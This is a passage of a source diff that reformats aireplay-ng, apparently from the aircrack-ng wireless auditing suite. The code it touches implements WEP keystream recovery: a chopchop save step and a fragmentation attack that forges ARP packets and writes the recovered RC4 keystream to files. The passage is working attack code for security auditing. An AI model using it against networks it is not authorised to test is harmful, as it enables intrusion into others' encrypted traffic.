+	n = sizeof(pkh);
+
+	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	n = pkh.caplen;
+
+	if (fwrite(h80211, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	fclose(f_cap_out);
+
+	/* save the RC4 stream (xor mask) */
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving keystream in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
+
+	n = pkh.caplen + 8 - 24;
+
+	if (fwrite(chopped + 24, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
 
-    free(chopped);
-    fclose( f_cap_out );
+	free(chopped);
+	fclose(f_cap_out);
 
-    printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n",
-            (long) (time( NULL ) - tt),
-            (float) ( pkh.caplen - 6 - 24 ) /
-            (float) ( time( NULL ) - tt  ) );
+	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
+		   (long) (time(NULL) - tt),
+		   (float) (pkh.caplen - 6 - 24) / (float) (time(NULL) - tt));
 
-    return( 0 );
+	return (0);
 }
 
-int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size)
+static int make_arp_request(unsigned char * h80211,
+							unsigned char * bssid,
+							unsigned char * src_mac,
+							unsigned char * dst_mac,
+							unsigned char * src_ip,
+							unsigned char * dst_ip,
+							int size)
 {
-	unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01";
-	unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00";
-
-    // 802.11 part
-    memcpy(h80211,    header80211, 4);
-    memcpy(h80211+4,  bssid,       6);
-    memcpy(h80211+10, src_mac,     6);
-    memcpy(h80211+16, dst_mac,     6);
-    h80211[22] = '\x00';
-    h80211[23] = '\x00';
-
-    // ARP part
-    memcpy(h80211+24, arp_header, 16);
-    memcpy(h80211+40, src_mac,     6);
-    memcpy(h80211+46, src_ip,      4);
-    memset(h80211+50, '\x00',      6);
-    memcpy(h80211+56, dst_ip,      4);
+	unsigned char * arp_header
+		= (unsigned char *) "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00"
+							"\x06"
+							"\x04\x00\x01";
+	unsigned char * header80211 = (unsigned char *) "\x08\x41\x95\x00";
+
+	// 802.11 part
+	memcpy(h80211, header80211, 4);
+	memcpy(h80211 + 4, bssid, 6);
+	memcpy(h80211 + 10, src_mac, 6);
+	memcpy(h80211 + 16, dst_mac, 6);
+	h80211[22] = '\x00';
+	h80211[23] = '\x00';
+
+	// ARP part
+	memcpy(h80211 + 24, arp_header, 16);
+	memcpy(h80211 + 40, src_mac, 6);
+	memcpy(h80211 + 46, src_ip, 4);
+	memset(h80211 + 50, '\x00', 6);
+	memcpy(h80211 + 56, dst_ip, 4);
 
-    // Insert padding bytes
-    memset(h80211+60, '\x00', size-60);
+	// Insert padding bytes
+	memset(h80211 + 60, '\x00', size - 60);
 
-    return 0;
+	return 0;
 }
 
-void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen)
+static void save_prga(char * filename,
+					  unsigned char * iv,
+					  unsigned char * prga,
+					  int prgalen)
 {
-    FILE *xorfile;
-    size_t unused;
-    xorfile = fopen(filename, "wb");
-    unused = fwrite (iv, 1, 4, xorfile);
-    unused = fwrite (prga, 1, prgalen, xorfile);
-    fclose (xorfile);
+	FILE * xorfile;
+	size_t unused;
+	xorfile = fopen(filename, "wb");
+	if (xorfile)
+	{
+		if (fwrite(iv, 1, 4, xorfile) != -1)
+		{
+			unused = fwrite(prga, 1, prgalen, xorfile);
+		}
+		fclose(xorfile);
+	}
 }
 
-int do_attack_fragment()
+static int do_attack_fragment(void)
 {
-    unsigned char packet[4096];
-    unsigned char packet2[4096];
-    unsigned char prga[4096];
-    unsigned char iv[4];
-
-//    unsigned char ack[14] = "\xd4";
-
-    char strbuf[256];
-
-    struct tm *lt;
-    struct timeval tv, tv2;
-
-    int done;
-    int caplen;
-    int caplen2;
-    int arplen;
-    int round;
-    int prga_len;
-    int isrelay;
-    int again;
-    int length;
-    int ret;
-    int gotit;
-    int acksgot;
-    int packets;
-    int z;
+	unsigned char packet[4096];
+	unsigned char packet2[4096];
+	unsigned char prga[4096];
+	unsigned char iv[4];
+
+	//    unsigned char ack[14] = "\xd4";
+
+	char strbuf[256];
+
+	struct tm * lt;
+	struct timeval tv, tv2;
+
+	int done;
+	int caplen;
+	int caplen2;
+	int arplen;
+	int round;
+	int prga_len;
+	int isrelay;
+	int again;
+	int length;
+	int ret;
+	int gotit;
+	int acksgot;
+	int packets;
+	int z;
 
-    unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00";
+	unsigned char * snap_header
+		= (unsigned char *) "\xAA\xAA\x03\x00\x00\x00\x08\x00";
 
-    done = caplen = caplen2 = arplen = round = 0;
-    prga_len = isrelay = gotit = again = length = 0;
+	done = caplen = caplen2 = arplen = round = 0;
+	prga_len = isrelay = gotit = again = length = 0;
 
-    if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
-    {
-        printf( "Please specify a source MAC (-h).\n" );
-        return( 1 );
-    }
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (1);
+	}
 
-    if(getnet(NULL, 1, 1) != 0)
-        return 1;
+	if (getnet(NULL, 1, 1) != 0) return 1;
 
-    if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
-    {
-        memset( opt.r_dmac, '\xFF', 6);
-        opt.r_dmac[5] = 0xED;
-    }
+	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
+	{
+		memset(opt.r_dmac, '\xFF', 6);
+		opt.r_dmac[5] = 0xED;
+	}
 
-    if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 )
-    {
-        memset( opt.r_sip, '\xFF', 4);
-    }
+	if (memcmp(opt.r_sip, NULL_MAC, 4) == 0)
+	{
+		memset(opt.r_sip, '\xFF', 4);
+	}
 
-    if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 )
-    {
-        memset( opt.r_dip, '\xFF', 4);
-    }
+	if (memcmp(opt.r_dip, NULL_MAC, 4) == 0)
+	{
+		memset(opt.r_dip, '\xFF', 4);
+	}
 
-    PCT; printf ("Waiting for a data packet...\n");
+	PCT;
+	printf("Waiting for a data packet...\n");
 
-    while(!done)  //
-    {
-        round = 0;
+	while (!done) //
+	{
+		round = 0;
 
-        if( capture_ask_packet( &caplen, 0 ) != 0 )
-            return -1;
+		if (capture_ask_packet(&caplen, 0) != 0) return -1;
 
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-        if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-            z+=2;
-
-        if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2))
-            continue;
-
-        memcpy( packet2, h80211, caplen );
-        caplen2 = caplen;
-        PCT; printf("Data packet found!\n");
-
-        if ( memcmp( packet2 +  4, SPANTREE, 6 ) == 0 ||
-             memcmp( packet2 + 16, SPANTREE, 6 ) == 0 )
-        {
-            packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA);  //0x42 instead of 0xAA
-            packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA);  //0x42 instead of 0xAA
-            packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08);  //0x00 instead of 0x08
-        }
-
-        prga_len = 7;
-
-        again = RETRY;
-
-        memcpy( packet, packet2, caplen2 );
-        caplen = caplen2;
-        memcpy(prga, packet+z+4, prga_len);
-        memcpy(iv, packet+z, 4);
-
-        xor_keystream(prga, snap_header, prga_len);
-
-        while(again == RETRY)  //sending 7byte fragments
-        {
-            again = 0;
-
-            arplen=60;
-            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);
-
-            if ((round % 2) == 1)
-            {
-                PCT; printf("Trying a LLC NULL packet\n");
-                memset(h80211+24, '\x00', 39);
-                arplen=63;
-            }
-
-            acksgot=0;
-            packets=(arplen-24)/(prga_len-4);
-            if( (arplen-24)%(prga_len-4) != 0 )
-                packets++;
-
-            PCT; printf("Sending fragmented packet\n");
-            send_fragments(h80211, arplen, iv, prga, prga_len-4, 0);
-//            //Plus an ACK
-//            send_packet(ack, 10);
-
-            gettimeofday( &tv, NULL );
-
-
-            while (!gotit)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), NULL);
-                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-                    z+=2;
-
-                if (packet[0] == 0xD4 )
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                    {
-                        acksgot++;
-                    }
-                    continue;
-                }
-
-                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
-                {
-                    if ( (packet[1] & 2) )  //Is a FromDS packet
-                    {
-                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
-                        {
-                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
-                            {
-                                if (caplen-z < 66)  //Is short enough
-                                {
-                                    //This is our relayed packet!
-                                    PCT; printf("Got RELAYED packet!!\n");
-                                    gotit = 1;
-                                    isrelay = 1;
-                                }
-                            }
-                        }
-                    }
-                }
-
-                /* check if we got an deauthentication packet */
-
-                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a deauthentication packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                /* check if we got an disassociation packet */
-
-                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a disassociation packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
-                {
-                    PCT; printf("Not enough acks, repeating...\n");
-                    again = RETRY;
-                    break;
-                }
-
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
-                {
-                    PCT; printf("No answer, repeating...\n");
-                    round++;
-                    again = RETRY;
-                    if (round > 10)
-                    {
-                        PCT; printf("Still nothing, trying another packet...\n");
-                        again = NEW_IV;
-                    }
-                    break;
-                }
-            }
-        }
-
-        if(again == NEW_IV) continue;
-
-        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60);
-        if (caplen-z == 68-24)
-        {
-            //Thats the ARP packet!
-//             PCT; printf("Thats our ARP packet!\n");
-        }
-        if (caplen-z == 71-24)
-        {
-            //Thats the LLC NULL packet!
-//             PCT; printf("Thats our LLC Null packet!\n");
-            memset(h80211+24, '\x00', 39);
-        }
-
-        if (! isrelay)
-        {
-            //Building expected cleartext
-            unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02";
-            //Ethernet & ARP header
-
-            //Followed by the senders MAC and IP:
-            memcpy(ct+16, packet+16, 6);
-            memcpy(ct+22, opt.r_dip,  4);
-
-            //And our own MAC and IP:
-            memcpy(ct+26, opt.r_smac,   6);
-            memcpy(ct+32, opt.r_sip,   4);
-
-            //Calculating
-            memcpy(prga, packet+z+4, 36);
-            xor_keystream(prga, ct, 36);
-        }
-        else
-        {
-            memcpy(prga, packet+z+4, 36);
-            xor_keystream(prga, h80211+24, 36);
-        }
-
-        memcpy(iv, packet+z, 4);
-        round = 0;
-        again = RETRY;
-        while(again == RETRY)
-        {
-            again = 0;
-
-            PCT; printf("Trying to get 384 bytes of a keystream\n");
-
-            arplen=408;
-
-            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);
-            if ((round % 2) == 1)
-            {
-                PCT; printf("Trying a LLC NULL packet\n");
-                memset(h80211+24, '\x00', arplen+8);
-                arplen+=32;
-            }
-
-            acksgot=0;
-            packets=(arplen-24)/(32);
-            if( (arplen-24)%(32) != 0 )
-                packets++;
-
-            send_fragments(h80211, arplen, iv, prga, 32, 0);
-//            //Plus an ACK
-//            send_packet(ack, 10);
-
-            gettimeofday( &tv, NULL );
-
-            gotit=0;
-            while (!gotit)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), NULL);
-                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-                    z+=2;
-
-                if (packet[0] == 0xD4 )
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                        acksgot++;
-                    continue;
-                }
-
-                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
-                {
-                    if ( (packet[1] & 2) )  //Is a FromDS packet with valid IV
-                    {
-                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
-                        {
-                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
-                            {
-                                if (caplen-z > 400-24 && caplen-z < 500-24)  //Is short enough
-                                {
-                                    //This is our relayed packet!
-                                    PCT; printf("Got RELAYED packet!!\n");
-                                    gotit = 1;
-                                    isrelay = 1;
-                                }
-                            }
-                        }
-                    }
-                }
-
-                /* check if we got an deauthentication packet */
-
-                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a deauthentication packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                /* check if we got an disassociation packet */
-
-                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a disassociation packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
-                {
-                    PCT; printf("Not enough acks, repeating...\n");
-                    again = RETRY;
-                    break;
-                }
-
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
-                {
-                    PCT; printf("No answer, repeating...\n");
-                    round++;
-                    again = RETRY;
-                    if (round > 10)
-                    {
-                        PCT; printf("Still nothing, trying another packet...\n");
-                        again = NEW_IV;
-                    }
-                    break;
-                }
-            }
-        }
-
-        if(again == NEW_IV) continue;
-
-        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408);
-        if (caplen-z == 416-24)
-        {
-            //Thats the ARP packet!
-//             PCT; printf("Thats our ARP packet!\n");
-        }
-        if (caplen-z == 448-24)
-        {
-            //Thats the LLC NULL packet!
-//             PCT; printf("Thats our LLC Null packet!\n");
-            memset(h80211+24, '\x00', 416);
-        }
-
-        memcpy(iv, packet+z, 4);
-        memcpy(prga, packet+z+4, 384);
-        xor_keystream(prga, h80211+24, 384);
-
-        round = 0;
-        again = RETRY;
-        while(again == RETRY)
-        {
-            again = 0;
-
-            PCT; printf("Trying to get 1500 bytes of a keystream\n");
-
-            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500);
-            arplen=1500;
-            if ((round % 2) == 1)
-            {
-                PCT; printf("Trying a LLC NULL packet\n");
-                memset(h80211+24, '\x00', 1508);
-                arplen+=32;
-            }
-
-            acksgot=0;
-            packets=(arplen-24)/(300);
-            if( (arplen-24)%(300) != 0 )
-                packets++;
-
-            send_fragments(h80211, arplen, iv, prga, 300, 0);
-//            //Plus an ACK
-//            send_packet(ack, 10);
-
-            gettimeofday( &tv, NULL );
-
-            gotit=0;
-            while (!gotit)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), NULL);
-                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-                    z+=2;
-
-                if (packet[0] == 0xD4 )
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                        acksgot++;
-                    continue;
-                }
-
-                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
-                {
-                    if ( (packet[1] & 2) )  //Is a FromDS packet with valid IV
-                    {
-                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
-                        {
-                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
-                            {
-                                if (caplen-z > 1496-24)  //Is short enough
-                                {
-                                    //This is our relayed packet!
-                                    PCT; printf("Got RELAYED packet!!\n");
-                                    gotit = 1;
-                                    isrelay = 1;
-                                }
-                            }
-                        }
-                    }
-                }
-
-                /* check if we got an deauthentication packet */
-
-                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a deauthentication packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                /* check if we got an disassociation packet */
-
-                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a disassociation packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
-                {
-                    PCT; printf("Not enough acks, repeating...\n");
-                    again = RETRY;
-                    break;
-                }
-
-                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
-                {
-                    PCT; printf("No answer, repeating...\n");
-                    round++;
-                    again = RETRY;
-                    if (round > 10)
-                    {
-                        printf("Still nothing, quitting with 384 bytes? [y/n] \n");
-                        fflush( stdout );
-                        ret=0;
-                        while(!ret) ret = scanf( "%s", tmpbuf );
-
-                        printf( "\n" );
-
-                        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
-                            again = ABORT;
-                        else
-                            again = NEW_IV;
-                    }
-                    break;
-                }
-            }
-        }
-
-        if(again == NEW_IV) continue;
-
-        if(again == ABORT) length = 408;
-        else length = 1500;
-
-        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length);
-        if (caplen == length+8+z)
-        {
-            //Thats the ARP packet!
-//             PCT; printf("Thats our ARP packet!\n");
-        }
-        if (caplen == length+16+z)
-        {
-            //Thats the LLC NULL packet!
-//             PCT; printf("Thats our LLC Null packet!\n");
-            memset(h80211+24, '\x00', length+8);
-        }
-
-        if(again != ABORT)
-        {
-            memcpy(iv, packet+z, 4);
-            memcpy(prga, packet+z+4, length);
-            xor_keystream(prga, h80211+24, length);
-        }
-
-        lt = localtime( (const time_t *) &tv.tv_sec );
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                  "fragment-%02d%02d-%02d%02d%02d.xor",
-                  lt->tm_mon + 1, lt->tm_mday,
-                  lt->tm_hour, lt->tm_min, lt->tm_sec );
-        save_prga(strbuf, iv, prga, length);
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+		if ((h80211[0] & 0x80) == 0x80) /* QoS */
+			z += 2;
+
+		if ((unsigned) caplen > sizeof(packet)
+			|| (unsigned) caplen > sizeof(packet2))
+			continue;
+
+		memcpy(packet2, h80211, caplen);
+		caplen2 = caplen;
+		PCT;
+		printf("Data packet found!\n");
+
+		if (memcmp(packet2 + 4, SPANTREE, 6) == 0
+			|| memcmp(packet2 + 16, SPANTREE, 6) == 0)
+		{
+			packet2[z + 4]
+				= ((packet2[z + 4] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
+			packet2[z + 5]
+				= ((packet2[z + 5] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
+			packet2[z + 10]
+				= ((packet2[z + 10] ^ 0x00) ^ 0x08); // 0x00 instead of 0x08
+		}
 
-        printf( "Saving keystream in %s\n", strbuf );
-        printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length);
+		prga_len = 7;
 
-        done=1;
+		again = RETRY;
 
-    }
+		memcpy(packet, packet2, caplen2);
+		caplen = caplen2;
+		memcpy(prga, packet + z + 4, prga_len);
+		memcpy(iv, packet + z, 4);
+
+		xor_keystream(prga, snap_header, prga_len);
+
+		while (again == RETRY) // sending 7byte fragments
+		{
+			again = 0;
+
+			arplen = 60;
+			make_arp_request(h80211,
+							 opt.f_bssid,
+							 opt.r_smac,
+							 opt.r_dmac,
+							 opt.r_sip,
+							 opt.r_dip,
+							 arplen);
+
+			if ((round % 2) == 1)
+			{
+				PCT;
+				printf("Trying a LLC NULL packet\n");
+				memset(h80211 + 24, '\x00', 39);
+				arplen = 63;
+			}
+
+			acksgot = 0;
+			packets = (arplen - 24) / (prga_len - 4);
+			if ((arplen - 24) % (prga_len - 4) != 0) packets++;
+
+			PCT;
+			printf("Sending fragmented packet\n");
+			send_fragments(h80211, arplen, iv, prga, prga_len - 4, 0);
+			//            //Plus an ACK
+			//            send_packet(ack, 10);
+
+			gettimeofday(&tv, NULL);
+
+			while (!gotit) // waiting for relayed packet
+			{
+				caplen = read_packet(packet, sizeof(packet), NULL);
+				z = ((packet[1] & 3) != 3) ? 24 : 30;
+				if ((packet[0] & 0x80) == 0x80) /* QoS */
+					z += 2;
+
+				if (packet[0] == 0xD4)
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						acksgot++;
+					}
+					continue;
+				}
+
+				if ((packet[0] & 0x08)
+					&& ((packet[1] & 0x40)
+						== 0x40)) // Is data frame && encrypted
+				{
+					if ((packet[1] & 2)) // Is a FromDS packet
+					{
+						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
+						{
+							if (!memcmp(
+									opt.r_smac, packet + 16, 6)) // From our MAC
+							{
+								if (caplen - z < 66) // Is short enough
+								{
+									// This is our relayed packet!
+									PCT;
+									printf("Got RELAYED packet!!\n");
+									gotit = 1;
+									isrelay = 1;
+								}
+							}
+						}
+					}
+				}
+
+				/* check if we got an deauthentication packet */
+
+				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a deauthentication packet!\n");
+					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				/* check if we got an disassociation packet */
+
+				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a disassociation packet!\n");
+					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (100 * 1000)
+					&& acksgot > 0
+					&& acksgot < packets) // wait 100ms for acks
+				{
+					PCT;
+					printf("Not enough acks, repeating...\n");
+					again = RETRY;
+					break;
+				}
+
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (1500 * 1000)
+					&& !gotit) // wait 1500ms for an answer
+				{
+					PCT;
+					printf("No answer, repeating...\n");
+					round++;
+					again = RETRY;
+					if (round > 10)
+					{
+						PCT;
+						printf("Still nothing, trying another packet...\n");
+						again = NEW_IV;
+					}
+					break;
+				}
+			}
+		}
+
+		if (again == NEW_IV) continue;
+
+		make_arp_request(h80211,
+						 opt.f_bssid,
+						 opt.r_smac,
+						 opt.r_dmac,
+						 opt.r_sip,
+						 opt.r_dip,
+						 60);
+		if (caplen - z == 68 - 24)
+		{
+			// That's the ARP packet!
+			//             PCT; printf("That's our ARP packet!\n");
+		}
+		if (caplen - z == 71 - 24)
+		{
+			// That's the LLC NULL packet!
+			//             PCT; printf("That's our LLC Null packet!\n");
+			memset(h80211 + 24, '\x00', 39);
+		}
+
+		if (!isrelay)
+		{
+			// Building expected cleartext
+			unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01"
+									 "\x08\x00\x06\x04\x00\x02";
+			// Ethernet & ARP header
+
+			// Followed by the senders MAC and IP:
+			memcpy(ct + 16, packet + 16, 6);
+			memcpy(ct + 22, opt.r_dip, 4);
+
+			// And our own MAC and IP:
+			memcpy(ct + 26, opt.r_smac, 6);
+			memcpy(ct + 32, opt.r_sip, 4);
+
+			// Calculating
+			memcpy(prga, packet + z + 4, 36);
+			xor_keystream(prga, ct, 36);
+		}
+		else
+		{
+			memcpy(prga, packet + z + 4, 36);
+			xor_keystream(prga, h80211 + 24, 36);
+		}
+
+		memcpy(iv, packet + z, 4);
+		round = 0;
+		again = RETRY;
+		while (again == RETRY)
+		{
+			again = 0;
+
+			PCT;
+			printf("Trying to get 384 bytes of a keystream\n");
+
+			arplen = 408;
+
+			make_arp_request(h80211,
+							 opt.f_bssid,
+							 opt.r_smac,
+							 opt.r_dmac,
+							 opt.r_sip,
+							 opt.r_dip,
+							 arplen);
+			if ((round % 2) == 1)
+			{
+				PCT;
+				printf("Trying a LLC NULL packet\n");
+				memset(h80211 + 24, '\x00', arplen + 8);
+				arplen += 32;
+			}
+
+			acksgot = 0;
+			packets = (arplen - 24) / (32);
+			if ((arplen - 24) % (32) != 0) packets++;
+
+			send_fragments(h80211, arplen, iv, prga, 32, 0);
+			//            //Plus an ACK
+			//            send_packet(ack, 10);
+
+			gettimeofday(&tv, NULL);
+
+			gotit = 0;
+			while (!gotit) // waiting for relayed packet
+			{
+				caplen = read_packet(packet, sizeof(packet), NULL);
+				z = ((packet[1] & 3) != 3) ? 24 : 30;
+				if ((packet[0] & 0x80) == 0x80) /* QoS */
+					z += 2;
+
+				if (packet[0] == 0xD4)
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+						acksgot++;
+					continue;
+				}
+
+				if ((packet[0] & 0x08)
+					&& ((packet[1] & 0x40)
+						== 0x40)) // Is data frame && encrypted
+				{
+					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
+					{
+						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
+						{
+							if (!memcmp(
+									opt.r_smac, packet + 16, 6)) // From our MAC
+							{
+								if (caplen - z > 400 - 24
+									&& caplen - z < 500 - 24) // Is short enough
+								{
+									// This is our relayed packet!
+									PCT;
+									printf("Got RELAYED packet!!\n");
+									gotit = 1;
+									isrelay = 1;
+								}
+							}
+						}
+					}
+				}
+
+				/* check if we got an deauthentication packet */
+
+				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a deauthentication packet!\n");
+					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				/* check if we got an disassociation packet */
+
+				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a disassociation packet!\n");
+					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (100 * 1000)
+					&& acksgot > 0
+					&& acksgot < packets) // wait 100ms for acks
+				{
+					PCT;
+					printf("Not enough acks, repeating...\n");
+					again = RETRY;
+					break;
+				}
+
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (1500 * 1000)
+					&& !gotit) // wait 1500ms for an answer
+				{
+					PCT;
+					printf("No answer, repeating...\n");
+					round++;
+					again = RETRY;
+					if (round > 10)
+					{
+						PCT;
+						printf("Still nothing, trying another packet...\n");
+						again = NEW_IV;
+					}
+					break;
+				}
+			}
+		}
+
+		if (again == NEW_IV) continue;
+
+		make_arp_request(h80211,
+						 opt.f_bssid,
+						 opt.r_smac,
+						 opt.r_dmac,
+						 opt.r_sip,
+						 opt.r_dip,
+						 408);
+		if (caplen - z == 416 - 24)
+		{
+			// That's the ARP packet!
+			//             PCT; printf("That's our ARP packet!\n");
+		}
+		if (caplen - z == 448 - 24)
